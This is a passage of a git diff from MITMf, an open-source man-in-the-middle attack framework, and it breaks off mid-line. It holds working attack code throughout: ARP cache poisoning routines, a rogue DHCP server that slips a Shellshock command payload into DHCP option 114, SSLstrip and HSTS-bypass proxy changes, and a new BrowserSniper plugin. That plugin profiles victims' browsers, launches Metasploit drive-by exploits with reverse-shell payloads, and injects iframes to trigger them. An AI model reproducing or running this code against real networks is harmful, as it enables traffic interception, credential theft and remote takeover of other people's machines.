print_exc() - pass sleep(self.interval) - def poison_arp_req(self): - while self.send: - - if self.targets is None: - pkt = Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op="who-has") - sendp(pkt, iface=self.interface, verbose=self.debug) #sends at layer 2 - - elif self.targets: - - for target in self.targets: - - if type(target) is IPAddress: - targetip = str(target) - try: - targetmac = getmacbyip(targetip) - - if targetmac is None: - log.debug("Unable to resolve MAC address of {}".format(targetip)) - - elif targetmac: - send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug) - send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug) - - except Exception as e: - if "Interrupted system call" not in e: - log.error("Exception occurred while poisoning {}: {}".format(targetip, e)) - pass - - if (type(target) is IPRange) or (type(target) is IPNetwork): - for targetip in target: - try: - targetmac = getmacbyip(str(targetip)) - - if targetmac is None: - log.debug("Unable to resolve MAC address of {}".format(targetip)) - - elif targetmac: - send(ARP(pdst=str(targetip), psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug) - send(ARP(pdst=self.gatewayip, psrc=str(targetip), hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug) - - except Exception as e: - if "Interrupted system call" not in e: - log.error("Exception occurred while poisoning {}: {}".format(targetip, e)) - pass - - sleep(self.interval) - - def options(self, options): - options.add_argument('--gateway', dest='gateway', type=str, help='Gateway ip address') - options.add_argument('--targets', dest='targets', type=str, help='Specify host/s to poison [if ommited will default to subnet]') - options.add_argument('--arpmode', dest='arpmode', default='rep', choices=["rep", "req"], help='ARP Spoofing mode: replies (rep) or requests (req) [default: rep]') - - def on_shutdown(self, options): + def stop(self): self.send = False sleep(3) - self.interval = 1 - count = 5 + count = 2 - if self.targets: + if self.targets is None: + log.info("Restoring subnet connection with {} packets".format(count)) + pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.gatewaymac, psrc=self.gatewayip, op="is-at") + for i in range(0, count): + self.s2.send(pkt) + + elif self.targets: for target in self.targets: + targetip = str(target) + targetmac = self.resolve_target_mac(targetip) - if type(target) is IPAddress: - targetip = str(target) - + if targetmac is not None: + log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count)) try: - targetmac = getmacbyip(targetip) - - if targetmac is None: - log.debug("Unable to resolve MAC address of {}".format(targetip)) - - elif targetmac: - log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count)) - - send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug) - send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug) - + for i in range(0, count): + self.s.send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac)) + self.s.send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac)) except Exception as e: if "Interrupted system call" not in e: log.error("Exception occurred while poisoning {}: {}".format(targetip, e)) - pass - if (type(target) is IPRange) or (type(target) is IPNetwork): - for targetip in target: - try: - targetmac = getmacbyip(str(targetip)) - - if targetmac is None: - log.debug("Unable to resolve MAC address of {}".format(targetip)) - - elif targetmac: - log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count)) - - send(ARP(op="is-at", pdst=self.gatewayip, psrc=str(targetip), hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug) - send(ARP(op="is-at", pdst=str(targetip), psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug) - - except Exception as e: - if "Interrupted system call" not in e: - log.error("Exception occurred while poisoning {}: {}".format(targetip, e)) - pass - - elif self.targets is None: - log.info("Restoring subnet connection with {} packets".format(count)) - pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.gatewaymac, psrc=self.gatewayip, op="is-at") - sendp(pkt, inter=self.interval, count=count, iface=self.interface, verbose=self.debug) #sends at layer 2 - - set_ip_forwarding(0) - iptables().flush() + #close the sockets + self.s.close() + self.s2.close() diff --git a/core/poisoners/dhcp/DHCPpoisoner.py b/core/poisoners/dhcp/DHCPpoisoner.py index d5d74d4..6871384 100644 --- a/core/poisoners/dhcp/DHCPpoisoner.py +++ b/core/poisoners/dhcp/DHCPpoisoner.py @@ -20,6 +20,8 @@ import logging import threading import binascii import random + +from netaddr import IPAddress, IPNetwork, IPRange, AddrFormatError from core.logger import logger from scapy.all import * @@ -28,98 +30,120 @@ log = logger().setup_logger("DHCPpoisoner", formatter) class DHCPpoisoner(): - def __init__(self, interface, dhcpcfg, ip, mac): - self.interface = interface - self.ip_address = ip - self.mac_address = mac - self.shellshock = None - self.debug = False - self.dhcpcfg = dhcpcfg - self.rand_number = [] - self.dhcp_dic = {} + def __init__(self, options, dhcpcfg): + self.interface = options.interface + self.ip_address = options.ip + self.mac_address = options.mac + self.shellshock = options.shellshock + self.debug = False + self.dhcpcfg = dhcpcfg + self.dhcp_dic = {} - def start(self): - t = threading.Thread(name="dhcp_spoof", target=self.dhcp_sniff, args=(self.interface,)) - t.setDaemon(True) - t.start() + log.debug("interface => {}".format(self.interface)) + log.debug("ip => {}".format(self.ip_address)) + log.debug("mac => {}".format(self.mac_address)) + log.debug("shellshock => {}".format(self.shellshock)) + log.debug("dhcpcfg => {}".format(self.dhcpcfg)) - def dhcp_sniff(self, interface): - sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=interface) + def start(self): + self.s2 = conf.L2socket(iface=self.interface) - def dhcp_rand_ip(self): - pool = self.dhcpcfg['ip_pool'].split('-') - trunc_ip = pool[0].split('.'); del(trunc_ip[3]) - max_range = int(pool[1]) - min_range = int(pool[0].split('.')[3]) - number_range = range(min_range, max_range) - for n in number_range: - if n in self.rand_number: - number_range.remove(n) - rand_number = random.choice(number_range) - self.rand_number.append(rand_number) - rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number) + t = threading.Thread(name="DHCPpoisoner", target=self.dhcp_sniff) + t.setDaemon(True) + t.start() - return rand_ip + def stop(self): + self.s2.close() - def dhcp_callback(self, resp): - if resp.haslayer(DHCP): - xid = resp[BOOTP].xid - mac_addr = resp[Ether].src - raw_mac = binascii.unhexlify(mac_addr.replace(":", "")) - if xid in self.dhcp_dic.keys(): - client_ip = self.dhcp_dic[xid] - else: - client_ip = self.dhcp_rand_ip() - self.dhcp_dic[xid] = client_ip + def dhcp_sniff(self): + try: + sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=self.interface) + except Exception as e: + if "Interrupted system call" not in e: + log.error("Exception occurred while poisoning: {}".format(e)) - if resp[DHCP].options[0][1] is 1: - log.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid)) - log.info("Sending DHCP OFFER") - packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / - IP(src=self.ip_address, dst='255.255.255.255') / - UDP(sport=67, dport=68) / - BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / - DHCP(options=[("message-type", "offer"), - ('server_id', self.ip_address), - ('subnet_mask', self.dhcpcfg['subnet']), - ('router', self.ip_address), - ('lease_time', 172800), - ('renewal_time', 86400), - ('rebinding_time', 138240), - "end"])) + def dhcp_rand_ip(self): + pool = self.dhcpcfg['ip_pool'] + try: + if '/' in pool: + ips = list(IPNetwork(pool)) + return str(random.choice(ips)) - try: - packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server']))) - except KeyError: - pass + elif '-' in pool: + start_addr = IPAddress(pool.split('-')[0]) + try: + end_addr = IPAddress(pool.split('-')[1]) + ips = list(IPRange(start_addr, end_addr)) + except AddrFormatError: + end_addr = list(start_addr.words) + end_addr[-1] = pool.split('-')[1] - sendp(packet, iface=self.interface, verbose=self.debug) + end_addr = IPAddress('.'.join(map(str, end_addr))) + ips = list(IPRange(start_addr, end_addr)) - if resp[DHCP].options[0][1] is 3: - log.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid)) - packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / - IP(src=self.ip_address, dst='255.255.255.255') / - UDP(sport=67, dport=68) / - BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / - DHCP(options=[("message-type", "ack"), - ('server_id', self.ip_address), - ('subnet_mask', self.dhcpcfg['subnet']), - ('router', self.ip_address), - ('lease_time', 172800), - ('renewal_time', 86400), - ('rebinding_time', 138240)])) + return str(random.choice(ips)) - try: - packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server']))) - except KeyError: - pass + log.error('Specified invalid CIDR/Network range in DHCP pool option') + except AddrFormatError: + log.error('Specified invalid CIDR/Network range in DHCP pool option') - if self.shellshock: - log.info("Sending DHCP ACK with shellshock payload") - packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock))) - packet[DHCP].options.append("end") - else: - log.info("Sending DHCP ACK") - packet[DHCP].options.append("end") + def dhcp_callback(self, resp): + if resp.haslayer(DHCP): + log.debug('Saw a DHCP packet') + xid = resp[BOOTP].xid + mac_addr = resp[Ether].src + raw_mac = binascii.unhexlify(mac_addr.replace(":", "")) - sendp(packet, iface=self.interface, verbose=self.debug) \ No newline at end of file + if xid in self.dhcp_dic.keys(): + client_ip = self.dhcp_dic[xid] + else: + client_ip = self.dhcp_rand_ip() + self.dhcp_dic[xid] = client_ip + + if resp[DHCP].options[0][1] == 1: + log.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid)) + log.info("Sending DHCP OFFER") + + packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / + IP(src=self.ip_address, dst='255.255.255.255') / + UDP(sport=67, dport=68) / + BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / + DHCP(options=[("message-type", "offer"), + ('server_id', self.ip_address), + ('subnet_mask', self.dhcpcfg['subnet']), + ('router', self.ip_address), + ('name_server', self.ip_address), + ('dns_server', self.ip_address), + ('lease_time', 172800), + ('renewal_time', 86400), + ('rebinding_time', 138240), + "end"])) + + self.s2.send(packet) + + if resp[DHCP].options[0][1] == 3: + log.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid)) + + packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / + IP(src=self.ip_address, dst='255.255.255.255') / + UDP(sport=67, dport=68) / + BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / + DHCP(options=[("message-type", "ack"), + ('server_id', self.ip_address), + ('subnet_mask', self.dhcpcfg['subnet']), + ('router', self.ip_address), + ('name_server', self.ip_address), + ('dns_server', self.ip_address), + ('lease_time', 172800), + ('renewal_time', 86400), + ('rebinding_time', 138240)])) + + if self.shellshock: + log.info("Sending DHCP ACK with shellshock payload") + packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock))) + packet[DHCP].options.append("end") + else: + log.info("Sending DHCP ACK") + packet[DHCP].options.append("end") + + self.s2.send(packet) diff --git a/core/poisoners/icmp/ICMPpoisoner.py b/core/poisoners/icmp/ICMPpoisoner.py index 94a9986..9232bad 100644 --- a/core/poisoners/icmp/ICMPpoisoner.py +++ b/core/poisoners/icmp/ICMPpoisoner.py @@ -18,26 +18,22 @@ import logging import threading -import binascii -import random -from base64 import b64decode -from urllib import unquote from time import sleep from core.logger import logger -from scapy.all import * +from scapy.all import IP, ICMP, UDP, sendp formatter = logging.Formatter("%(asctime)s [ICMPpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") log = logger().setup_logger("ICMPpoisoner", formatter) class ICMPpoisoner(): - def __init__(self, interface, target, gateway, ip_address): + def __init__(self, options): - self.target = target - self.gateway = gateway - self.interface = interface - self.ip_address = ip_address + self.target = options.target + self.gateway = options.gateway + self.interface = options.interface + self.ip_address = options.ip self.debug = False self.send = True self.icmp_interval = 2 diff --git a/core/sergioproxy/ProxyPlugins.py b/core/sergioproxy/ProxyPlugins.py index 0dc9083..d1576f7 100644 --- a/core/sergioproxy/ProxyPlugins.py +++ b/core/sergioproxy/ProxyPlugins.py @@ -52,6 +52,7 @@ class ProxyPlugins: plugin_mthds = {} plugin_list = [] + all_plugins = [] __shared_state = {} diff --git a/core/servers/dns/DNSchef.py b/core/servers/dns/DNSchef.py index fc19c42..fe410fd 100755 --- a/core/servers/dns/DNSchef.py +++ b/core/servers/dns/DNSchef.py @@ -47,7 +47,7 @@ from core.logger import logger from mitmflib.dnslib import * from IPy import IP -formatter = logging.Formatter("%(asctime)s %(clientip)s [DNSChef] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +formatter = logging.Formatter("%(asctime)s %(clientip)s [DNS] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") log = logger().setup_logger("DNSChef", formatter) # DNSHandler Mixin. The class contains generic functions to parse DNS requests and @@ -300,6 +300,8 @@ class DNSHandler(): # Obtain a response from a real DNS server. def proxyrequest(self, request, host, port="53", protocol="udp"): + clientip = {'clientip': self.client_address[0]} + reply = None try: if DNSChef().ipv6: @@ -337,12 +339,13 @@ class DNSHandler(): sock.close() - except Exception, e: + except Exception as e: log.warning("Could not proxy request: {}".format(e), extra=clientip) else: return reply def hstsbypass(self, real_domain, fake_domain, nameservers, d): + clientip = {'clientip': self.client_address[0]} log.info("Resolving '{}' to '{}' for HSTS bypass".format(fake_domain, real_domain), extra=clientip) @@ -477,7 +480,7 @@ class DNSChef(ConfigWatcher): self.startUDP() except socket.error as e: if "Address already in use" in e: - shutdown("\n[DNSChef] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port'])) + shutdown("\n[DNS] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port'])) # Initialize and start the DNS Server def startUDP(self): diff --git a/core/servers/http/HTTPserver.py b/core/servers/http/HTTPserver.py index 923977f..28f3396 100644 --- a/core/servers/http/HTTPserver.py +++ b/core/servers/http/HTTPserver.py @@ -17,13 +17,16 @@ # import logging import threading +import sys +from core.utils import shutdown from core.configwatcher import ConfigWatcher from flask import Flask class HTTPserver(ConfigWatcher): server = Flask("HTTPserver") + func_list = [] __shared_state = {} @@ -31,6 +34,16 @@ class HTTPserver(ConfigWatcher): self.__dict__ = self.__shared_state def start_flask(self): + + @self.server.route('/', defaults={'path': '/'}) + @self.server.route('/') + def catch_all(path): + for func in self.func_list: + resp = func(path) + if resp: + return resp + return path + self.server.run(debug=False, host='0.0.0.0', port=int(self.config['MITMf']['HTTP']['port'])) def start(self): @@ -39,6 +52,9 @@ class HTTPserver(ConfigWatcher): server_thread.setDaemon(True) server_thread.start() + def add_endpoint(self, function): + self.func_list.append(function) + def setup_http_logger(self): formatter = logging.Formatter("%(asctime)s [HTTP] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") flask_logger = logging.getLogger('werkzeug') diff --git a/core/servers/smb/KarmaSMB.py b/core/servers/smb/KarmaSMB.py old mode 100644 new mode 100755 index d363c93..446e131 --- a/core/servers/smb/KarmaSMB.py +++ b/core/servers/smb/KarmaSMB.py @@ -49,14 +49,16 @@ # hosting. *CAREFUL!!!* # + import sys import os import argparse import logging import ntpath import ConfigParser +from threading import Thread -from mitmflib.impacket import LOG as logger +from mitmflib.impacket.examples import logger from mitmflib.impacket import smbserver, smb, version import mitmflib.impacket.smb3structs as smb2 from mitmflib.impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE @@ -65,8 +67,10 @@ from mitmflib.impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCC from mitmflib.impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \ getFileTime, queryPathInformation -class KarmaSMBServer(): + +class KarmaSMBServer(Thread): def __init__(self, smb_challenge, smb_port, smb2Support = False): + Thread.__init__(self) self.server = 0 self.defaultFile = None self.extensions = {} @@ -105,7 +109,7 @@ class KarmaSMBServer(): if smb2Support: smbConfig.set("global", "SMB2Support", "True") - self.server = smbserver.SMBSERVER(('0.0.0.0',int(smb_port)), config_parser = smbConfig) + self.server = smbserver.SMBSERVER(('0.0.0.0', int(smb_port)), config_parser = smbConfig) self.server.processConfigFile() # Unregistering some dangerous and unwanted commands @@ -144,7 +148,6 @@ class KarmaSMBServer(): respSetup = '' respParameters = '' respData = '' - errorCode = STATUS_SUCCESS findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters) # 1. Let's grab the extension and map the file's contents we will deliver @@ -159,11 +162,6 @@ class KarmaSMBServer(): else: targetFile = self.defaultFile - if (len(data) > 0): - findFirst2Data = smb.SMBFindFirst2_Data(data) - else: - findFirst2Data = '' - if connData['ConnectedShares'].has_key(recvPacket['Tid']): path = connData['ConnectedShares'][recvPacket['Tid']]['path'] @@ -282,9 +280,7 @@ class KarmaSMBServer(): errorCode = 0 queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters) - if len(data) > 0: - queryPathInfoData = smb.SMBQueryPathInformation_Data(data) - + if connData['ConnectedShares'].has_key(recvPacket['Tid']): path = '' try: @@ -327,7 +323,7 @@ class KarmaSMBServer(): connData = smbServer.getConnectionData(connId) # We're closing the connection trying to flush the client's # cache. - if connData['MS15011']['StopConnection'] == True: + if connData['MS15011']['StopConnection'] is True: return [smb2.SMB2Error()], None, STATUS_USER_SESSION_DELETED return self.origsmb2Close(connId, smbServer, recvPacket) @@ -391,7 +387,7 @@ class KarmaSMBServer(): connData = smbServer.getConnectionData(connId) respSMBCommand = smb2.SMB2QueryDirectory_Response() - queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data']) + #queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data']) errorCode = 0xff respSMBCommand['Buffer'] = '\x00' diff --git a/core/servers/smb/SMBserver.py b/core/servers/smb/SMBserver.py index 1cd78b9..0d238ca 100644 --- a/core/servers/smb/SMBserver.py +++ b/core/servers/smb/SMBserver.py @@ -25,7 +25,7 @@ class SMBserver(ConfigWatcher): try: if self.mode == 'normal': - formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") + formatter = logging.Formatter("%(asctime)s [SMB] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") self.conf_impacket_logger(formatter) server = smbserver.SimpleSMBServer(listenPort=self.port) @@ -62,8 +62,6 @@ class SMBserver(ConfigWatcher): LOG.setLevel(logging.INFO) LOG.propagate = False - logging.getLogger('smbserver').setLevel(logging.INFO) - logging.getLogger('impacket').setLevel(logging.INFO) fileHandler = logging.FileHandler("./logs/mitmf.log") streamHandler = logging.StreamHandler(sys.stdout) diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py index 0bcb6a7..b140da8 100644 --- a/core/sslstrip/ClientRequest.py +++ b/core/sslstrip/ClientRequest.py @@ -160,11 +160,8 @@ class ClientRequest(Request): log.debug("Sending spoofed favicon response") self.sendSpoofedFaviconResponse() - elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): - if 'securelink' in headers: - del headers['securelink'] - - log.debug("Sending request via SSL ({})".format((client,url))) + elif self.urlMonitor.isSecureLink(client, url): + log.debug("Sending request via SSL/TLS: {}".format(url)) self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) else: diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 24bfa3f..3051696 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -104,8 +104,6 @@ class ServerConnection(HTTPClient): def connectionMade(self): log.debug("HTTP connection made.") - self.clientInfo["clientip"] = self.client.getClientIP() - try: user_agent = parse(self.headers['user-agent']) @@ -120,6 +118,8 @@ class ServerConnection(HTTPClient): self.clientInfo["browser"] = "Other" self.clientInfo["browserv"] = "Other" + self.clientInfo["clientip"] = self.client.getClientIP() + self.plugins.hook() self.sendRequest() self.sendHeaders() @@ -206,8 +206,8 @@ class ServerConnection(HTTPClient): data = self.replaceSecureLinks(data) data = self.plugins.hook()['data'] - log.debug("Read from server {} bytes of data:\n{}".format(len(data), data)) - #log.debug("Read from server {} bytes of data".format(len(data))) + #log.debug("Read from server {} bytes of data:\n{}".format(len(data), data)) + log.debug("Read from server {} bytes of data".format(len(data))) if (self.contentLength != None): self.client.setHeader('Content-Length', len(data)) diff --git a/core/utils.py b/core/utils.py index 7f38f4b..ce1b2a1 100644 --- a/core/utils.py +++ b/core/utils.py @@ -20,6 +20,8 @@ import os import logging import re import sys + +from commands import getstatusoutput from core.logger import logger from core.sergioproxy.ProxyPlugins import ProxyPlugins from scapy.all import get_if_addr, get_if_hwaddr @@ -33,10 +35,15 @@ def shutdown(message=None): sys.exit(message) def set_ip_forwarding(value): - log.debug("Setting ip forwarding to {}".format(value)) - with open('/proc/sys/net/ipv4/ip_forward', 'w') as file: - file.write(str(value)) - file.close() + status, result = getstatusoutput('sysctl --help') + if status == 0: + log.debug("Setting ip forwarding to {} using sysctl".format(value)) + os.system('sysctl -w net.ipv4.ip_forward={} &> /dev/null'.format(value)) #for OSX + else: + log.debug("Setting ip forwarding to {}".format(value)) + with open('/proc/sys/net/ipv4/ip_forward', 'w') as file: + file.write(str(value)) + file.close() def get_ip(interface): try: @@ -52,7 +59,7 @@ def get_mac(interface): try: mac_address = get_if_hwaddr(interface) return mac_address - except Exception, e: + except Exception as e: shutdown("Error retrieving MAC address from {}: {}".format(interface, e)) class iptables: diff --git a/mitmf.py b/mitmf.py index a3265b6..66a5c68 100755 --- a/mitmf.py +++ b/mitmf.py @@ -21,7 +21,9 @@ import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message -logging.getLogger("watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages +logging.getLogger("mitmflib.watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages +logging.getLogger('mitmflib.smbserver').setLevel(logging.INFO) +logging.getLogger('mitmflib.impacket').setLevel(logging.INFO) import argparse import sys @@ -88,6 +90,8 @@ strippingFactory.protocol = StrippingProxy reactor.listenTCP(options.listen_port, strippingFactory) +ProxyPlugins().all_plugins = plugins + #All our options should be loaded now, start initializing the plugins print "[*] MITMf v{} - '{}'".format(mitmf_version, mitmf_codename) for plugin in plugins: @@ -102,6 +106,7 @@ for plugin in plugins: for line in xrange(0, len(plugin.tree_info)): print "| |_ {}".format(plugin.tree_info.pop()) + plugin.setup_logger() plugin.initialize(options) if plugin.tree_info: @@ -109,16 +114,21 @@ for plugin in plugins: print "| |_ {}".format(plugin.tree_info.pop()) plugin.reactor(strippingFactory) - plugin.setup_logger() plugin.start_config_watch() print "|" print "|_ Sergio-Proxy v0.2.1 online" print "|_ SSLstrip v0.9 by Moxie Marlinspike online" +print "|" + +#Start mitmf-api +from core.mitmfapi import mitmfapi +print "|_ MITMf-API online" +mitmfapi().start() #Start Net-Creds from core.netcreds.NetCreds import NetCreds -NetCreds().start(options.interface) +NetCreds().start(options.interface, options.ip) print "|_ Net-Creds v{} online".format(NetCreds.version) #Start the HTTP Server diff --git a/plugins/appcachepoison.py b/plugins/appcachepoison.py index b0852a8..3430d94 100644 --- a/plugins/appcachepoison.py +++ b/plugins/appcachepoison.py @@ -55,7 +55,7 @@ class AppCachePlugin(Plugin): if regexp and not re.search(regexp,req_headers["user-agent"]): self.clientlog.info("Tampering disabled in this useragent ({})".format(req_headers["user-agent"]), extra=request.clientInfo) return {'response': response, 'request': request, 'data': data} - + urls = self.urlMonitor.getRedirectionSet(url) self.clientlog.debug("Got redirection set: {}".format(urls), extra=request.clientInfo) (name,s,element,url) = self.getSectionForUrls(urls) diff --git a/plugins/browserprofiler.py b/plugins/browserprofiler.py index 94033d1..6f3f564 100644 --- a/plugins/browserprofiler.py +++ b/plugins/browserprofiler.py @@ -38,6 +38,7 @@ class BrowserProfiler(Inject, Plugin): if (request.command == 'POST') and ('clientprfl' in request.uri): request.handle_post_output = True self.output = json.loads(request.postData) + self.output['ip'] = request.client.getClientIP() pretty_output = pformat(self.output) self.clientlog.info("Got profile:\n{}".format(pretty_output), extra=request.clientInfo) diff --git a/plugins/browsersniper.py b/plugins/browsersniper.py new file mode 100644 index 0000000..3d72fce --- /dev/null +++ b/plugins/browsersniper.py @@ -0,0 +1,179 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import string +import random +import threading +from time import sleep +from plugins.plugin import Plugin +from plugins.browserprofiler import BrowserProfiler + +class BrowserSniper(BrowserProfiler, Plugin): + name = "BrowserSniper" + optname = "browsersniper" + desc = "Performs drive-by attacks on clients with out-of-date browser plugins" + version = "0.4" + has_opts = False + + def initialize(self, options): + self.options = options + self.msfip = options.ip + self.sploited_ips = [] #store ip of pwned or not vulnerable clients so we don't re-exploit + + #Initialize the BrowserProfiler plugin + BrowserProfiler.initialize(self, options) + + from core.msfrpc import Msf + self.msf = Msf() + self.tree_info.append("Connected to Metasploit v{}".format(self.msf.version)) + + t = threading.Thread(name='sniper', target=self.snipe) + t.setDaemon(True) + t.start() + + def _setupExploit(self, exploit, msfport): + + self.log.debug('Setting up {}'.format(exploit)) + rand_url = "/" + ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, 5)) + rand_port = random.randint(1000, 65535) + + #generate the command string to send to the virtual console + cmd = "use exploit/{}\n".format(exploit) + cmd += "set SRVPORT {}\n".format(msfport) + cmd += "set URIPATH {}\n".format(rand_url) + cmd += "set PAYLOAD generic/shell_reverse_tcp\n" + cmd += "set LHOST {}\n".format(self.msfip) + cmd += "set LPORT {}\n".format(rand_port) + cmd += "set ExitOnSession False\n" + cmd += "exploit -j\n" + + self.msf.sendcommand(cmd) + + return rand_url + + def _compat_system(self, os_config, brw_config, os, browser): + + if (os_config == 'any') and (brw_config == 'any'): + return True + + if (os_config == 'any') and (brw_config in browser): + return True + + if (os_config in os) and (brw_config == 'any'): + return True + + if (os_config in os) and (brw_config in browser): + return True + + return False + + def getExploits(self): + exploits = [] + vic_ip = self.output['ip'] + os = self.output['ua_name'] + browser = self.output['os_name'] + java = None + flash = None + + if self.output['java'] is not None: + java = self.output['java'] + + if self.output['flash'] is not None: + flash = self.output['flash'] + + self.log.info("{} => OS: {} | Browser: {} | Java: {} | Flash: {}".format(vic_ip, os, browser, java, flash)) + + for exploit, details in self.config['BrowserSniper']['exploits'].iteritems(): + + if self._compat_system(details['OS'].lower(), details['Browser'].lower(), os.lower(), browser.lower()): + + if details['Type'].lower() == 'browservuln': + exploits.append(exploit) + + elif details['Type'].lower() == 'pluginvuln': + + if details['Plugin'].lower() == 'java': + if (java is not None) and (java in details['PluginVersions']): + exploits.append(exploit) + + elif details['Plugin'].lower() == 'flash': + + if (flash is not None) and (flash in details['PluginVersions']): + exploits.append(exploit) + + self.log.info("{} => Compatible exploits: {}".format(vic_ip, exploits)) + return exploits + + def injectAndPoll(self, ip, url): #here we inject an iframe to trigger the exploit and check for resulting sessions + + #inject iframe + self.log.info("{} => Now injecting iframe to trigger exploits".format(ip)) + self.html_url = url + + #The following will poll Metasploit every 2 seconds for new sessions for a maximum of 60 seconds + #Will also make sure the shell actually came from the box that we targeted + self.log.info('{} => Waiting for ze shellz, sit back and relax...'.format(ip)) + + poll_n = 1 + while poll_n != 30: + + if self.msf.sessionsfrompeer(ip): + self.log.info("{} => Client haz been 0wn3d! Enjoy!".format(ip)) + self.sploited_ips.append(ip) + self.black_ips = self.sploited_ips #Add to inject plugin blacklist since box has been popped + self.html_url = None + return + + poll_n += 1 + sleep(2) + + self.log.info("{} => Session not established after 60 seconds".format(ip)) + self.html_url = None + + def snipe(self): + while True: + if self.output: + vic_ip = self.output['ip'] + + if vic_ip not in self.sploited_ips: + msfport = self.config['BrowserSniper']['msfport'] + exploits = self.getExploits() + + if not exploits: + self.log.info('{} => Client not vulnerable to any exploits, adding to blacklist'.format(vic_ip)) + self.sploited_ips.append(vic_ip) + self.black_ips = self.sploited_ips + + elif exploits and (vic_ip not in self.sploited_ips): + self.log.info("{} => Client vulnerable to {} exploits".format(vic_ip, len(exploits))) + + for exploit in exploits: + + jobs = self.msf.findjobs(exploit) + if jobs: + self.log.info('{} => {} already started'.format(vic_ip, exploit)) + url = self.msf.jobinfo(jobs[0])['uripath'] #get the url assigned to the 